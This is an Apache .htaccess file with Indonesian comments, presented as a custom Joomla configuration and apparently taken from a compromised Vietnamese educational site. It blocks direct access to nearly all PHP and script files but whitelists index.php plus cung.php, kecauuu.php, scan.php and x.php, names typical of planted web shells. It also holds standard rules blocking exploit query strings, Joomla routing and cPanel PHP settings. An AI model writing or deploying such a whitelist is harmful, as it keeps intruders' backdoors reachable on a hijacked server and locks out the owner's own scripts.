##
# @package		Joomla Gabungan Custom
##

# 1. Pengaturan Dasar & Izin Folder
Options +FollowSymLinks
Options -Indexes

# 2. Proteksi File (Whitelist System)
# Ini akan memblokir semua file php/script kecuali yang Anda izinkan di bawah
<FilesMatch ".(php|Php|pHp|phP|phtml|shTml|pht|phar|asp|aspx|shtml|bak|fla|zip|pdf)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# Izinkan hanya file spesifik ini untuk diakses langsung
<FilesMatch "^(index.php|cung.php|kecauuu.php|scan.php|x.php)$">
    Order allow,deny
    Allow from all
</FilesMatch>

# 3. Kemanan Query String (Blokir Common Exploits)
RewriteEngine On
RewriteBase /

# Blokir base64_encode, <script>, GLOBALS, dan _REQUEST dalam URL
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F]

# 4. Joomla Core SEF Section
# Header Authorization
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

# Jika request bukan index.php dan file fisik tidak ada, arahkan ke index.php
RewriteCond %{REQUEST_URI} !^/index\.php
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php [L]

# 5. Otentikasi Folder (Hapus jika tidak digunakan)
AuthGroupFile /dev/null
AuthUserFile /home/cdcantho/domains/cdct.edu.vn/.htpasswd/public_html/cthssv/.htpasswd
AuthName "cthssv"

# 6. Konfigurasi PHP (cPanel Generated)
# BEGIN cPanel-generated php ini directives
<IfModule php7_module>
   php_flag display_errors Off
   php_value max_execution_time 30
   php_value max_input_time -1
   php_value max_input_vars 1000
   php_value memory_limit 128M
   php_value post_max_size 8M
   php_value session.gc_maxlifetime 1440
   php_value session.save_path "/opt/alt/php73/var/lib/php/session"
   php_value upload_max_filesize 2M
   php_flag zlib.output_compression Off
</IfModule>

<IfModule lsapi_module>
   php_flag display_errors Off
   php_value max_execution_time 30
   php_value max_input_time -1
   php_value max_input_vars 1000
   php_value memory_limit 128M
   php_value post_max_size 8M
   php_value session.gc_maxlifetime 1440
   php_value session.save_path "/opt/alt/php73/var/lib/php/session"
   php_value upload_max_filesize 2M
   php_flag zlib.output_compression Off
</IfModule>

# Set PHP Handler (Pastikan versi ini sesuai dengan hosting Anda)
<IfModule mime_module>
  AddHandler application/x-httpd-alt-php56___lsphp .php .php5 .phtml
</IfModule>
# END cPanel-generated php ini directives